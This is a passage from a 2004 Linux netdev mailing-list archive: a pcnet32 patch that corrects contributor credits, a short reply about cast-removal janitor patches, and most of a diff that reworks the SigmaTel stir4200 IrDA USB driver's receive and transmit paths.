linux-2.6.4-rc1/drivers/net/good.pcnet32.c Tue Mar 2 09:44:22 2004 +++ linux-2.6.4-rc1/drivers/net/pcnet32.c Tue Mar 2 11:24:43 2004 @@ -225,10 +225,12 @@ * v1.27b Sep 30 2002 Kent Yoder * Added timer for cable connection state changes. * v1.28 20 Feb 2004 Don Fry - * Jon Lewis , Chinmay Albal + * Jon Mason , Chinmay Albal * Now uses ethtool_ops, netif_msg_* and generic_mii_ioctl. * Fixes bogus 'Bus master arbitration failure', pci_[un]map_single * length errors, and transmit hangs. Cleans up after errors in open. + * Jim Lewis added ethernet loopback test. + * Thomas Munck Steenholdt non-mii ioctl corrections. */ -- Don Fry brazilnut@us.ibm.com From brazilnut@us.ibm.com Tue Mar 2 11:31:00 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 02 Mar 2004 11:31:11 -0800 (PST) Received: from e34.co.us.ibm.com (e34.co.us.ibm.com [32.97.110.132]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i22JV0KO021042 for ; Tue, 2 Mar 2004 11:31:00 -0800 Received: from westrelay02.boulder.ibm.com (westrelay02.boulder.ibm.com [9.17.195.11]) by e34.co.us.ibm.com (8.12.10/8.12.2) with ESMTP id i22JUrrj443198; Tue, 2 Mar 2004 14:30:53 -0500 Received: from DYN318364BLD.beaverton.ibm.com (d03av02.boulder.ibm.com [9.17.193.82]) by westrelay02.boulder.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i22JUq65092062; Tue, 2 Mar 2004 12:30:52 -0700 Received: (from donf@localhost) by DYN318364BLD.beaverton.ibm.com (8.11.6/8.11.6) id i22JSkv11760; Tue, 2 Mar 2004 11:28:46 -0800 From: Don Fry Message-Id: <200403021928.i22JSkv11760@DYN318364BLD.beaverton.ibm.com> Subject: [PATCH 2.4.25] pcnet32 correct names for changes To: tsbogend@alpha.franken.de, jgarzik@pobox.com, netdev@oss.sgi.com Date: Tue, 2 Mar 2004 11:28:46 -0800 (PST) X-Mailer: ELM [version 2.5 PL6] MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 3702 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: brazilnut@us.ibm.com Precedence: bulk X-list: netdev Content-Length: 930 Lines: 23 This patch corrects the names of contributors of changes to the pcnet32 driver. --- linux-2.4.25/drivers/net/good.pcnet32.c Wed Feb 25 12:07:48 2004 +++ linux-2.4.25/drivers/net/pcnet32.c Tue Mar 2 11:24:03 2004 @@ -224,10 +224,12 @@ * FD auto negotiate error workaround for xSeries250 * clean up and using new mii module * v1.28 20 Feb 2004 Don Fry - * Jon Lewis , Chinmay Albal + * Jon Mason , Chinmay Albal * Now uses ethtool_ops, netif_msg_* and generic_mii_ioctl. * Fixes bogus 'Bus master arbitration failure', pci_[un]map_single * length errors, and transmit hangs. Cleans up after errors in open. + * Jim Lewis added ethernet loopback test. + * Thomas Munck Steenholdt non-mii ioctl corrections. */ -- Don Fry brazilnut@us.ibm.com From rmk@arm.linux.org.uk Tue Mar 2 11:36:13 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 02 Mar 2004 11:36:16 -0800 (PST) Received: from caramon.arm.linux.org.uk (caramon.arm.linux.org.uk [212.18.232.186]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i22JaBKO021494 for ; Tue, 2 Mar 2004 11:36:12 -0800 Received: from flint.arm.linux.org.uk ([2002:d412:e8ba:1:201:2ff:fe14:8fad]) by caramon.arm.linux.org.uk with asmtp (TLSv1:DES-CBC3-SHA:168) (Exim 4.30) id 1AyFgT-00009o-58; Tue, 02 Mar 2004 19:36:05 +0000 Received: from rmk by flint.arm.linux.org.uk with local (Exim 4.30) id 1AyFgS-0006oI-B1; Tue, 02 Mar 2004 19:36:04 +0000 Date: Tue, 2 Mar 2004 19:36:04 +0000 From: Russell King To: Jeff Garzik Cc: "Randy.Dunlap" , netdev@oss.sgi.com Subject: Re: [janitor] remove casts in drivers/net/arm/ Message-ID: <20040302193604.G12353@flint.arm.linux.org.uk> References: <20040229142516.3d218ed0.rddunlap@osdl.org> <20040229143436.4bb884ee.rddunlap@osdl.org> <20040302121042.A9931@flint.arm.linux.org.uk> <4044D86C.70709@pobox.com> <20040302110237.0f580736.rddunlap@osdl.org> <4044DB78.7040309@pobox.com> <20040302111700.76c0b381.rddunlap@osdl.org> <4044E07E.8000409@pobox.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5.1i In-Reply-To: <4044E07E.8000409@pobox.com>; from jgarzik@pobox.com on Tue, Mar 02, 2004 at 02:29:02PM -0500 X-archive-position: 3703 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: rmk@arm.linux.org.uk Precedence: bulk X-list: netdev Content-Length: 703 Lines: 21 On Tue, Mar 02, 2004 at 02:29:02PM -0500, Jeff Garzik wrote: > I wasn't rejecting your patches. > > In fact, I want to apply your cast patches separate from any > netdev_priv() cleanup. > > netdev_priv() should be a separate item on the janitor todo list. > > RMK however is free to reject these patches for drivers/net/arm/ of > course... I'm easy - I probably won't look at this until post-2.6.4 anyway. However, it seems a bit silly to produce two patches changing the exact same lines when one patch would do. -- Russell King Linux kernel 2.6 ARM Linux - http://www.arm.linux.org.uk/ maintainer of: 2.6 PCMCIA - http://pcmcia.arm.linux.org.uk/ 2.6 Serial core From shemminger@osdl.org Tue Mar 2 12:06:01 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 02 Mar 2004 12:06:06 -0800 (PST) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i22K61KO022534 for ; Tue, 2 Mar 2004 12:06:01 -0800 Received: from dell_ss3.pdx.osdl.net (dell_ss3.pdx.osdl.net [172.20.1.60]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id i22K52E30099; Tue, 2 Mar 2004 12:05:02 -0800 Date: Tue, 2 Mar 2004 12:05:01 -0800 From: Stephen Hemminger To: "David S. Miller" Cc: Jean Tourrilhes , netdev@oss.sgi.com, Irda Users Subject: [PATCH] stir4200 update for 2.6.4-rc1 Message-Id: <20040302120501.7fa8f698@dell_ss3.pdx.osdl.net> Organization: Open Source Development Lab X-Mailer: Sylpheed version 0.9.9claws (GTK+ 1.2.10; i386-redhat-linux-gnu) X-Face: &@E+xe?c%:&e4D{>f1O<&U>2qwRREG5!}7R4;D<"NO^UI2mJ[eEOA2*3>(`Th.yP,VDPo9$ /`~cw![cmj~~jWe?AHY7D1S+\}5brN0k*NE?pPh_'_d>6;XGG[\KDRViCfumZT3@[ Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 3704 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shemminger@osdl.org Precedence: bulk X-list: netdev Content-Length: 28092 Lines: 1025 New revision of the Sigmatel irda driver. This version has much better performance and doesn't drop frames in FIR mode. Tested with both UHCI and EHCI/OHCI against nsc-ircc on laptop. Thanks to Martin for additional testing and feedback. * Receiver: - changed from interrupt to bulk URB. Queue's one bulk urb per USB tick (1ms). - FIR unpack now uses get_unaligned and cpu32_le instead of explicit shifts - FIR unpack copies small frames * Transmitter: - pack data into io buffer. Since irda is half duplex can use same buffer for transmit and receive. - use xchange and wait_event for synchronization * Other: - use USB format messages rather than IRDA (ugly) - clean up USB startup - reset device on network open to clear up stuck state - handle FIFO errors - disconnect cleanup (from viro) - don't DMA onto stack when reading fifo status David, please apply. There maybe more small tweaks later as it gets wider usage. --- linux-2.6/drivers/net/irda/stir4200.c 2004-02-18 14:14:14.000000000 -0800 +++ test-2.6/drivers/net/irda/stir4200.c 2004-03-02 11:11:21.413890216 -0800 @@ -49,12 +49,14 @@ #include #include #include +#include #include #include #include #include #include -#include +#include +#include MODULE_AUTHOR("Stephen Hemminger "); MODULE_DESCRIPTION("IrDA-USB Dongle Driver for SigmaTel STIr4200"); @@ -72,15 +74,11 @@ static int tx_power = 0; /* 0 = highest module_param(tx_power, int, 0); MODULE_PARM_DESC(tx_power, "Set Transmitter power (0-3, 0 is highest power)"); -static int rx_interval = 5; /* milliseconds */ -module_param(rx_interval, int, 0); -MODULE_PARM_DESC(rx_interval, "Receive polling interval (ms)"); - #define STIR_IRDA_HEADER 4 #define CTRL_TIMEOUT 100 /* milliseconds */ #define TRANSMIT_TIMEOUT 200 /* milliseconds */ #define STIR_FIFO_SIZE 4096 -#define NUM_RX_URBS 2 +#define FIFO_REGS_SIZE 3 enum FirChars { FIR_CE = 0x7d, @@ -167,36 +165,26 @@ enum StirTestMask { TEST_TSTOSC = 0x0F, }; -enum StirState { - STIR_STATE_RECEIVING=0, - STIR_STATE_TXREADY, -}; - struct stir_cb { struct usb_device *usbdev; /* init: probe_irda */ struct net_device *netdev; /* network layer */ struct irlap_cb *irlap; /* The link layer we are binded to */ struct net_device_stats stats; /* network statistics */ struct qos_info qos; - unsigned long state; unsigned speed; /* Current speed */ wait_queue_head_t thr_wait; /* transmit thread wakeup */ struct completion thr_exited; pid_t thr_pid; - unsigned int tx_bulkpipe; - void *tx_data; /* wrapped data out */ - unsigned tx_len; - unsigned tx_newspeed; - unsigned tx_mtt; + struct sk_buff *tx_pending; + void *io_buf; /* transmit/receive buffer */ + __u8 *fifo_status; - unsigned int rx_intpipe; iobuff_t rx_buff; /* receive unwrap state machine */ - struct timespec rx_time; - - struct urb *rx_urbs[NUM_RX_URBS]; - void *rx_data[NUM_RX_URBS]; + struct timeval rx_time; + int receiving; + struct urb *rx_urb; }; @@ -209,9 +197,6 @@ static struct usb_device_id dongles[] = MODULE_DEVICE_TABLE(usb, dongles); -static int fifo_txwait(struct stir_cb *stir, unsigned space); -static void stir_usb_receive(struct urb *urb, struct pt_regs *regs); - /* Send control message to set dongle register */ static int write_reg(struct stir_cb *stir, __u16 reg, __u8 value) { @@ -239,6 +224,11 @@ static inline int read_reg(struct stir_c MSECS_TO_JIFFIES(CTRL_TIMEOUT)); } +static inline int isfir(u32 speed) +{ + return (speed == 4000000); +} + /* * Prepare a FIR IrDA frame for transmission to the USB dongle. The * FIR transmit frame is documented in the datasheet. It consists of @@ -333,8 +323,8 @@ static void fir_eof(struct stir_cb *stir { iobuff_t *rx_buff = &stir->rx_buff; int len = rx_buff->len - 4; + struct sk_buff *skb, *nskb; __u32 fcs; - struct sk_buff *nskb; if (unlikely(len <= 0)) { pr_debug("%s: short frame len %d\n", @@ -345,41 +335,46 @@ static void fir_eof(struct stir_cb *stir return; } - fcs = rx_buff->data[len] | - rx_buff->data[len+1] << 8 | - rx_buff->data[len+2] << 16 | - rx_buff->data[len+3] << 24; - - if (unlikely(fcs != ~(crc32_le(~0, rx_buff->data, len)))) { - pr_debug("%s: crc error\n", stir->netdev->name); - irda_device_set_media_busy(stir->netdev, TRUE); + fcs = ~(crc32_le(~0, rx_buff->data, len)); + if (fcs != le32_to_cpu(get_unaligned((u32 *)(rx_buff->data+len)))) { + pr_debug("crc error calc 0x%x len %d\n", fcs, len); stir->stats.rx_errors++; stir->stats.rx_crc_errors++; return; } - /* If can't get new buffer, just drop and reuse */ - nskb = dev_alloc_skb(IRDA_SKB_MAX_MTU); - if (unlikely(!nskb)) - ++stir->stats.rx_dropped; - else { - struct sk_buff *oskb = rx_buff->skb; + /* if frame is short then just copy it */ + if (len < IRDA_RX_COPY_THRESHOLD) { + nskb = dev_alloc_skb(len + 1); + if (unlikely(!nskb)) { + ++stir->stats.rx_dropped; + return; + } + skb_reserve(nskb, 1); + skb = nskb; + memcpy(nskb->data, rx_buff->data, len); + } else { + nskb = dev_alloc_skb(rx_buff->truesize); + if (unlikely(!nskb)) { + ++stir->stats.rx_dropped; + return; + } skb_reserve(nskb, 1); + skb = rx_buff->skb; + rx_buff->skb = nskb; + rx_buff->head = nskb->data; + } - /* Set correct length in socket buffer */ - skb_put(oskb, len); + skb_put(skb, len); - oskb->mac.raw = oskb->data; - oskb->protocol = htons(ETH_P_IRDA); - oskb->dev = stir->netdev; + skb->mac.raw = skb->data; + skb->protocol = htons(ETH_P_IRDA); + skb->dev = stir->netdev; - netif_rx(oskb); + netif_rx(skb); - stir->stats.rx_packets++; - stir->stats.rx_bytes += len; - rx_buff->skb = nskb; - rx_buff->head = nskb->data; - } + stir->stats.rx_packets++; + stir->stats.rx_bytes += len; rx_buff->data = rx_buff->head; rx_buff->len = 0; @@ -402,7 +397,6 @@ static void stir_fir_chars(struct stir_c continue; /* Now receiving frame */ rx_buff->state = BEGIN_FRAME; - rx_buff->in_frame = TRUE; /* Time to initialize receive buffer */ rx_buff->data = rx_buff->head; @@ -424,6 +418,7 @@ static void stir_fir_chars(struct stir_c if (byte == FIR_EOF) continue; rx_buff->state = INSIDE_FRAME; + rx_buff->in_frame = TRUE; /* fall through */ case INSIDE_FRAME: @@ -461,7 +456,6 @@ static void stir_fir_chars(struct stir_c error_recovery: ++stir->stats.rx_errors; - irda_device_set_media_busy(stir->netdev, TRUE); rx_buff->state = OUTSIDE_FRAME; rx_buff->in_frame = FALSE; } @@ -478,11 +472,6 @@ static void stir_sir_chars(struct stir_c &stir->rx_buff, bytes[i]); } -static inline int isfir(u32 speed) -{ - return (speed == 4000000); -} - static inline void unwrap_chars(struct stir_cb *stir, const __u8 *bytes, int length) { @@ -519,25 +508,31 @@ static int change_speed(struct stir_cb * int i, err; __u8 mode; - pr_debug("%s: change speed %d\n", stir->netdev->name, speed); for (i = 0; i < ARRAY_SIZE(stir_modes); ++i) { if (speed == stir_modes[i].speed) goto found; } - ERROR("%s: invalid speed %d\n", stir->netdev->name, speed); + warn("%s: invalid speed %d", stir->netdev->name, speed); return -EINVAL; found: - pr_debug("%s: speed change from %d to %d\n", - stir->netdev->name, stir->speed, speed); + pr_debug("speed change from %d to %d\n", stir->speed, speed); + + /* sometimes needed to get chip out of stuck state */ + err = usb_reset_device(stir->usbdev); + if (err) + goto out; + + /* Reset modulator */ + err = write_reg(stir, REG_CTRL1, CTRL1_SRESET); + if (err) + goto out; - /* Make sure any previous Tx is really finished. This happens - * when we answer an incomming request ; the ua:rsp and the - * speed change are bundled together, so we need to wait until - * the packet we just submitted has been sent. Jean II */ - if (fifo_txwait(stir, 0)) - return -EIO; + /* Undocumented magic to tweak the DPLL */ + err = write_reg(stir, REG_DPLL, 0x15); + if (err) + goto out; /* Set clock */ err = write_reg(stir, REG_PDCLK, stir_modes[i].pdclk); @@ -564,33 +559,13 @@ static int change_speed(struct stir_cb * goto out; err = write_reg(stir, REG_CTRL1, (tx_power & 3) << 1); - - out: - stir->speed = speed; - return err; -} - -static int stir_reset(struct stir_cb *stir) -{ - int err; - - /* reset state */ - stir->rx_buff.in_frame = FALSE; - stir->rx_buff.state = OUTSIDE_FRAME; - stir->speed = -1; - - /* Undocumented magic to tweak the DPLL */ - err = write_reg(stir, REG_DPLL, 0x15); if (err) goto out; /* Reset sensitivity */ err = write_reg(stir, REG_CTRL2, (rx_sensitivity & 7) << 5); - if (err) - goto out; - - err = change_speed(stir, 9600); out: + stir->speed = speed; return err; } @@ -606,48 +581,62 @@ static int stir_hard_xmit(struct sk_buff /* the IRDA wrapping routines don't deal with non linear skb */ SKB_LINEAR_ASSERT(skb); - if (unlikely(skb->len) == 0) /* speed change only */ - stir->tx_len = 0; - else if (isfir(stir->speed)) - stir->tx_len = wrap_fir_skb(skb, stir->tx_data); - else - stir->tx_len = wrap_sir_skb(skb, stir->tx_data); - - stir->stats.tx_packets++; - stir->stats.tx_bytes += skb->len; - - stir->tx_mtt = irda_get_mtt(skb); - stir->tx_newspeed = irda_get_next_speed(skb); - - if (!test_and_set_bit(STIR_STATE_TXREADY, &stir->state)) - wake_up(&stir->thr_wait); + skb = xchg(&stir->tx_pending, skb); + wake_up(&stir->thr_wait); + + /* this should never happen unless stop/wakeup problem */ + if (unlikely(skb)) { + WARN_ON(1); + dev_kfree_skb(skb); + } - dev_kfree_skb(skb); return 0; } /* * Wait for the transmit FIFO to have space for next data + * + * If space < 0 then wait till FIFO completely drains. + * FYI: can take up to 13 seconds at 2400baud. */ -static int fifo_txwait(struct stir_cb *stir, unsigned space) +static int fifo_txwait(struct stir_cb *stir, int space) { int err; - unsigned count; - __u8 regs[3]; - unsigned long timeout = jiffies + HZ/10; + unsigned long count, status; + /* Read FIFO status and count */ for(;;) { - /* Read FIFO status and count */ - err = read_reg(stir, REG_FIFOCTL, regs, 3); - if (unlikely(err != 3)) { - WARNING("%s: FIFO register read error: %d\n", - stir->netdev->name, err); + err = read_reg(stir, REG_FIFOCTL, stir->fifo_status, + FIFO_REGS_SIZE); + if (unlikely(err != FIFO_REGS_SIZE)) { + warn("%s: FIFO register read error: %d", + stir->netdev->name, err); + return err; } + status = stir->fifo_status[0]; + count = (unsigned)(stir->fifo_status[2] & 0x1f) << 8 + | stir->fifo_status[1]; + + pr_debug("fifo status 0x%lx count %lu\n", status, count); + + /* error when receive/transmit fifo gets confused */ + if (status & FIFOCTL_RXERR) { + stir->stats.rx_fifo_errors++; + stir->stats.rx_errors++; + break; + } + + if (status & FIFOCTL_TXERR) { + stir->stats.tx_fifo_errors++; + stir->stats.tx_errors++; + break; + } + /* is fifo receiving already, or empty */ - if (!(regs[0] & FIFOCTL_DIR) - || (regs[0] & FIFOCTL_EMPTY)) + if (!(status & FIFOCTL_DIR) + || (status & FIFOCTL_EMPTY)) return 0; if (signal_pending(current)) @@ -658,40 +647,37 @@ static int fifo_txwait(struct stir_cb *s || !netif_device_present(stir->netdev)) return -ESHUTDOWN; - count = (unsigned)(regs[2] & 0x1f) << 8 | regs[1]; - - pr_debug("%s: fifo status 0x%x count %u\n", - stir->netdev->name, regs[0], count); - /* only waiting for some space */ - if (space && STIR_FIFO_SIZE - 4 > space + count) + if (space >= 0 && STIR_FIFO_SIZE - 4 > space + count) return 0; - if (time_after(jiffies, timeout)) { - WARNING("%s: transmit fifo timeout status=0x%x count=%d\n", - stir->netdev->name, regs[0], count); - ++stir->stats.tx_errors; - irda_device_set_media_busy(stir->netdev, TRUE); - return -ETIMEDOUT; - } - /* estimate transfer time for remaining chars */ wait_ms((count * 8000) / stir->speed); } + + err = write_reg(stir, REG_FIFOCTL, FIFOCTL_CLR); + if (err) + return err; + err = write_reg(stir, REG_FIFOCTL, 0); + if (err) + return err; + + return 0; } /* Wait for turnaround delay before starting transmit. */ -static void turnaround_delay(long us, const struct timespec *last) +static void turnaround_delay(const struct stir_cb *stir, long us) { long ticks; - struct timespec now = CURRENT_TIME; + struct timeval now; if (us <= 0) return; - us -= (now.tv_sec - last->tv_sec) * USEC_PER_SEC; - us -= (now.tv_nsec - last->tv_nsec) / NSEC_PER_USEC; + do_gettimeofday(&now); + us -= (now.tv_sec - stir->rx_time.tv_sec) * USEC_PER_SEC; + us -= now.tv_usec - stir->rx_time.tv_usec; if (us < 10) return; @@ -707,77 +693,60 @@ static void turnaround_delay(long us, co * Start receiver by submitting a request to the receive pipe. * If nothing is available it will return after rx_interval. */ -static void receive_start(struct stir_cb *stir) +static int receive_start(struct stir_cb *stir) { - int i; - - if (test_and_set_bit(STIR_STATE_RECEIVING, &stir->state)) - return; - - if (fifo_txwait(stir, 0)) - return; - - for (i = 0; i < NUM_RX_URBS; i++) { - struct urb *urb = stir->rx_urbs[i]; - - usb_fill_int_urb(urb, stir->usbdev, stir->rx_intpipe, - stir->rx_data[i], STIR_FIFO_SIZE, - stir_usb_receive, stir, rx_interval); - - if (usb_submit_urb(urb, GFP_KERNEL)) - urb->status = -EINVAL; - } + /* reset state */ + stir->receiving = 1; - if (i == 0) { - /* if nothing got queued, then just retry next time */ - if (net_ratelimit()) - WARNING("%s: no receive buffers avaiable\n", - stir->netdev->name); + stir->rx_buff.in_frame = FALSE; + stir->rx_buff.state = OUTSIDE_FRAME; - clear_bit(STIR_STATE_RECEIVING, &stir->state); - } + stir->rx_urb->status = 0; + return usb_submit_urb(stir->rx_urb, GFP_KERNEL); } /* Stop all pending receive Urb's */ static void receive_stop(struct stir_cb *stir) { - int i; + stir->receiving = 0; + usb_unlink_urb(stir->rx_urb); - for (i = 0; i < NUM_RX_URBS; i++) { - struct urb *urb = stir->rx_urbs[i]; - usb_unlink_urb(urb); - } + if (stir->rx_buff.in_frame) + stir->stats.collisions++; } - -/* Send wrapped data (in tx_data) to device */ -static void stir_send(struct stir_cb *stir) +/* + * Wrap data in socket buffer and send it. + */ +static void stir_send(struct stir_cb *stir, struct sk_buff *skb) { - int rc; + unsigned wraplen; + int first_frame = 0; - if (test_and_clear_bit(STIR_STATE_RECEIVING, &stir->state)) { + /* if receiving, need to turnaround */ + if (stir->receiving) { receive_stop(stir); - - turnaround_delay(stir->tx_mtt, &stir->rx_time); - - if (stir->rx_buff.in_frame) - ++stir->stats.collisions; + turnaround_delay(stir, irda_get_mtt(skb)); + first_frame = 1; } - else if (fifo_txwait(stir, stir->tx_len)) - return; /* shutdown or major errors */ + if (isfir(stir->speed)) + wraplen = wrap_fir_skb(skb, stir->io_buf); + else + wraplen = wrap_sir_skb(skb, stir->io_buf); + + /* check for space available in fifo */ + if (!first_frame) + fifo_txwait(stir, wraplen); + + stir->stats.tx_packets++; + stir->stats.tx_bytes += skb->len; stir->netdev->trans_start = jiffies; + pr_debug("send %d (%d)\n", skb->len, wraplen); - pr_debug("%s: send %d\n", stir->netdev->name, stir->tx_len); - rc = usb_bulk_msg(stir->usbdev, - stir->tx_bulkpipe, - stir->tx_data, stir->tx_len, - NULL, MSECS_TO_JIFFIES(TRANSMIT_TIMEOUT)); - - if (unlikely(rc)) { - WARNING("%s: usb bulk message failed %d\n", - stir->netdev->name, rc); + if (usb_bulk_msg(stir->usbdev, usb_sndbulkpipe(stir->usbdev, 1), + stir->io_buf, wraplen, + NULL, MSECS_TO_JIFFIES(TRANSMIT_TIMEOUT))) stir->stats.tx_errors++; - } } /* @@ -787,7 +756,7 @@ static int stir_transmit_thread(void *ar { struct stir_cb *stir = arg; struct net_device *dev = stir->netdev; - DECLARE_WAITQUEUE(wait, current); + struct sk_buff *skb; daemonize("%s", dev->name); allow_signal(SIGTERM); @@ -796,44 +765,58 @@ static int stir_transmit_thread(void *ar && netif_device_present(dev) && !signal_pending(current)) { - /* make swsusp happy with our thread */ + /* if suspending, then power off and wait */ if (current->flags & PF_FREEZE) { - receive_stop(stir); + if (stir->receiving) + receive_stop(stir); + else + fifo_txwait(stir, -1); write_reg(stir, REG_CTRL1, CTRL1_TXPWD|CTRL1_RXPWD); refrigerator(PF_IOTHREAD); - stir_reset(stir); + if (change_speed(stir, stir->speed)) + break; } /* if something to send? */ - if (test_and_clear_bit(STIR_STATE_TXREADY, &stir->state)) { - unsigned new_speed = stir->tx_newspeed; - - /* Note that we may both send a packet and - * change speed in some cases. Jean II */ - - if (stir->tx_len != 0) - stir_send(stir); - - if (stir->speed != new_speed) - change_speed(stir, new_speed); - - netif_wake_queue(stir->netdev); + skb = xchg(&stir->tx_pending, NULL); + if (skb) { + unsigned new_speed = irda_get_next_speed(skb); + netif_wake_queue(dev); + + if (skb->len > 0) + stir_send(stir, skb); + dev_kfree_skb(skb); + + if (stir->speed != new_speed) { + if (fifo_txwait(stir, -1) || + change_speed(stir, new_speed)) + break; + } continue; } - if (irda_device_txqueue_empty(dev)) - receive_start(stir); + /* nothing to send? start receiving */ + if (!stir->receiving + && irda_device_txqueue_empty(dev)) { + /* Wait otherwise chip gets confused. */ + if (fifo_txwait(stir, -1)) + break; + + if (unlikely(receive_start(stir))) { + if (net_ratelimit()) + info("%s: receive usb submit failed", + stir->netdev->name); + stir->receiving = 0; + wait_ms(10); + continue; + } + } - set_task_state(current, TASK_INTERRUPTIBLE); - add_wait_queue(&stir->thr_wait, &wait); - if (test_bit(STIR_STATE_TXREADY, &stir->state)) - __set_task_state(current, TASK_RUNNING); - else - schedule_timeout(HZ/10); - remove_wait_queue(&stir->thr_wait, &wait); + /* sleep if nothing to send */ + wait_event_interruptible(stir->thr_wait, stir->tx_pending); } complete_and_exit (&stir->thr_exited, 0); @@ -841,48 +824,34 @@ static int stir_transmit_thread(void *ar /* - * Receive wrapped data into rx_data buffer. - * This chip doesn't block until data is available, we just have - * to read the FIFO perodically (ugh). + * USB bulk receive completion callback. + * Wakes up every ms (usb round trip) with wrapped + * data. */ -static void stir_usb_receive(struct urb *urb, struct pt_regs *regs) +static void stir_rcv_irq(struct urb *urb, struct pt_regs *regs) { struct stir_cb *stir = urb->context; int err; + /* in process of stopping, just drop data */ if (!netif_running(stir->netdev)) return; - switch (urb->status) { - case 0: - if(urb->actual_length > 0) { - pr_debug("%s: receive %d\n", - stir->netdev->name, urb->actual_length); - unwrap_chars(stir, urb->transfer_buffer, - urb->actual_length); - - stir->netdev->last_rx = jiffies; - stir->rx_time = CURRENT_TIME; - } - break; - - case -ECONNRESET: /* killed but pending */ - case -ENOENT: /* killed but not in use */ - case -ESHUTDOWN: - /* These are normal errors when URB is cancelled */ - stir->rx_buff.in_frame = FALSE; - stir->rx_buff.state = OUTSIDE_FRAME; + /* unlink, shutdown, unplug, other nasties */ + if (urb->status != 0) return; - default: - WARNING("%s: received status %d\n", stir->netdev->name, - urb->status); - stir->stats.rx_errors++; - urb->status = 0; + if (urb->actual_length > 0) { + pr_debug("receive %d\n", urb->actual_length); + unwrap_chars(stir, urb->transfer_buffer, + urb->actual_length); + + stir->netdev->last_rx = jiffies; + do_gettimeofday(&stir->rx_time); } /* kernel thread is stopping receiver don't resubmit */ - if (!test_bit(STIR_STATE_RECEIVING, &stir->state)) + if (!stir->receiving) return; /* resubmit existing urb */ @@ -890,14 +859,13 @@ static void stir_usb_receive(struct urb /* in case of error, the kernel thread will restart us */ if (err) { - WARNING("%s: usb receive submit error: %d\n", + warn("%s: usb receive submit error: %d", stir->netdev->name, err); - urb->status = -ENOENT; + stir->receiving = 0; wake_up(&stir->thr_wait); } } - /* * Function stir_net_open (dev) * @@ -906,50 +874,50 @@ static void stir_usb_receive(struct urb static int stir_net_open(struct net_device *netdev) { struct stir_cb *stir = netdev->priv; - int i, err; - char hwname[16]; + int err; + char hwname[16]; - err = stir_reset(stir); + err = usb_clear_halt(stir->usbdev, usb_sndbulkpipe(stir->usbdev, 1)); + if (err) + goto err_out1; + err = usb_clear_halt(stir->usbdev, usb_rcvbulkpipe(stir->usbdev, 2)); if (err) goto err_out1; - err = -ENOMEM; - - /* Note: Max SIR frame possible is 4273 */ - stir->tx_data = kmalloc(STIR_FIFO_SIZE, GFP_KERNEL); - if (!stir->tx_data) { - ERROR("%s(), alloc failed for rxbuf!\n", __FUNCTION__); + err = change_speed(stir, 9600); + if (err) goto err_out1; - } + + err = -ENOMEM; /* Initialize for SIR/FIR to copy data directly into skb. */ + stir->receiving = 0; stir->rx_buff.truesize = IRDA_SKB_MAX_MTU; stir->rx_buff.skb = dev_alloc_skb(IRDA_SKB_MAX_MTU); - if (!stir->rx_buff.skb) { - ERROR("%s(), dev_alloc_skb() failed for rxbuf!\n", - __FUNCTION__); - goto err_out2; - } + if (!stir->rx_buff.skb) + goto err_out1; + skb_reserve(stir->rx_buff.skb, 1); stir->rx_buff.head = stir->rx_buff.skb->data; - stir->rx_time = CURRENT_TIME; + do_gettimeofday(&stir->rx_time); - /* Allocate N receive buffer's and urbs */ - for (i = 0; i < NUM_RX_URBS; i++) { - stir->rx_urbs[i] = usb_alloc_urb(0, GFP_KERNEL); - if (!stir->rx_urbs[i]){ - ERROR("%s(), usb_alloc_urb failed\n", __FUNCTION__); - goto err_out3; - } + stir->rx_urb = usb_alloc_urb(0, GFP_KERNEL); + if (!stir->rx_urb) + goto err_out2; - stir->rx_data[i] = kmalloc(STIR_FIFO_SIZE, GFP_KERNEL); - if (!stir->rx_data) { - usb_free_urb(stir->rx_urbs[i]); - ERROR("%s(), alloc failed for rxbuf!\n", __FUNCTION__); - goto err_out3; - } - } + stir->io_buf = kmalloc(STIR_FIFO_SIZE, GFP_KERNEL); + if (!stir->io_buf) + goto err_out3; + usb_fill_bulk_urb(stir->rx_urb, stir->usbdev, + usb_rcvbulkpipe(stir->usbdev, 2), + stir->io_buf, STIR_FIFO_SIZE, + stir_rcv_irq, stir); + + stir->fifo_status = kmalloc(FIFO_REGS_SIZE, GFP_KERNEL); + if (!stir->fifo_status) + goto err_out4; + /* * Now that everything should be initialized properly, * Open new IrLAP layer instance to take care of us... @@ -958,8 +926,8 @@ static int stir_net_open(struct net_devi sprintf(hwname, "usb#%d", stir->usbdev->devnum); stir->irlap = irlap_open(netdev, &stir->qos, hwname); if (!stir->irlap) { - ERROR("%s(): irlap_open failed\n", __FUNCTION__); - goto err_out3; + err("irlap_open failed"); + goto err_out5; } /** Start kernel thread for transmit. */ @@ -967,25 +935,24 @@ static int stir_net_open(struct net_devi CLONE_FS|CLONE_FILES); if (stir->thr_pid < 0) { err = stir->thr_pid; - WARNING("%s: unable to start kernel thread\n", - stir->netdev->name); - goto err_out4; + err("unable to start kernel thread"); + goto err_out6; } netif_start_queue(netdev); return 0; - err_out4: + err_out6: irlap_close(stir->irlap); + err_out5: + kfree(stir->fifo_status); + err_out4: + kfree(stir->io_buf); err_out3: - while(--i >= 0) { - usb_free_urb(stir->rx_urbs[i]); - kfree(stir->rx_data[i]); - } - kfree_skb(stir->rx_buff.skb); + usb_free_urb(stir->rx_urb); err_out2: - kfree(stir->tx_data); + kfree_skb(stir->rx_buff.skb); err_out1: return err; } @@ -999,7 +966,6 @@ static int stir_net_open(struct net_devi static 